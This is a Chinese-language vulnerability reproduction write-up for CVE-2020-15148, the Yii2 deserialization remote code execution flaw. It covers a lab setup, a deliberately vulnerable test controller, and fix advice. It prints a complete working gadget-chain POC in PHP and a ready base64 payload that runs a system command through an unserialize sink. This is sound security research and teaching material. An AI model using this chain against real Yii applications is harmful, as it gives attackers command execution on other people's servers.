CVE-2020-15148 Yii框架反序列化漏洞复现

admin 2023年2月21日12:45:50评论798 views字数 2104阅读7分0秒阅读模式

漏洞简介

Yii Framework是一款高性能的PHP框架,用于开发Web2.0应用程序,具有快速、安全和高效等特点,是目前最流行的PHP开发框架之一。在Yii2 2.0.37及之前的版本中,存在反序列化漏洞,当攻击者可以控制unserialize的值时,通过构造恶意的序列化数据并传入即可进行远程代码执行。


影响版本

Yii2 Framework <= 2.0.37


环境搭建

首先需要下载一个phpstudy并安装

https://www.xp.cn/download.html
CVE-2020-15148 Yii框架反序列化漏洞复现

下载yii2 Framework 2.0.37版本

https://github.com/yiisoft/yii2/releases/tag/2.0.37
CVE-2020-15148 Yii框架反序列化漏洞复现

将解压后得到的basic文件夹放置到phpstudy的WWW目录下

CVE-2020-15148 Yii框架反序列化漏洞复现

启动前需要修改basicconfigweb.php文件中cookieValidationKey的值为任意值,否则启动会报错,此处设置为1

CVE-2020-15148 Yii框架反序列化漏洞复现

启动phpstudy,使用浏览器访问http://ip:80/basic/web/index.php,如出现如下界面则证明Yii2 Framework 2.0.37环境搭建成功

CVE-2020-15148 Yii框架反序列化漏洞复现

漏洞复现

该漏洞的触发条件是需要unserialize可控,所以需要创建一个入口Action,使unserialize调用的值可被用户传入,在basiccontrollers目录下创建一个TestController.php,内容如下
<?phpnamespace appcontrollers;use Yii;use yiiwebController;class TestController extends Controller{ public function actionTest(){ $name = Yii::$app->request->get('unserialize'); return unserialize(base64_decode($name)); }}
CVE-2020-15148 Yii框架反序列化漏洞复现
重启phpstudy,使用浏览器或者burpsuite测试访问
http://ip:80/basic/web/index.php?r=test/test&unserialize=czo0OiJ0ZXN0Ijs%3d

若返回test则证明上述构建的存在漏洞的测试action运行正常


CVE-2020-15148 Yii框架反序列化漏洞复现

创建一个poc.php,生成可利用的序列化数据,内容如下

<?phpnamespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } }}namespace Faker{ use yiirestCreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } }}namespace yiidb{ use FakerGenerator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } }}namespace{ echo base64_encode(serialize(new yiidbBatchQueryResult));}?>
CVE-2020-15148 Yii框架反序列化漏洞复现

将poc.php文件放置到phpstudy的WWW目录下,使用浏览器访问http://ip:80/poc.php,即可获得经过base64编码的序列化payload数据


CVE-2020-15148 Yii框架反序列化漏洞复现

将序列化数据拼接并发包

http://150.158.181.147/basic/web/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==

可以看到反序列化漏洞利用成功,成功执行了whoami命令并回显


CVE-2020-15148 Yii框架反序列化漏洞复现

修复建议

将Yii2 Framework升级到2.0.38及之后的版本

CVE-2020-15148 Yii框架反序列化漏洞复现


CVE-2020-15148 Yii框架反序列化漏洞复现

原文始发于微信公众号(第59号):CVE-2020-15148 Yii框架反序列化漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日12:45:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-15148 Yii框架反序列化漏洞复现https://cn-sec.com/archives/1271090.html

发表评论

匿名网友 填写信息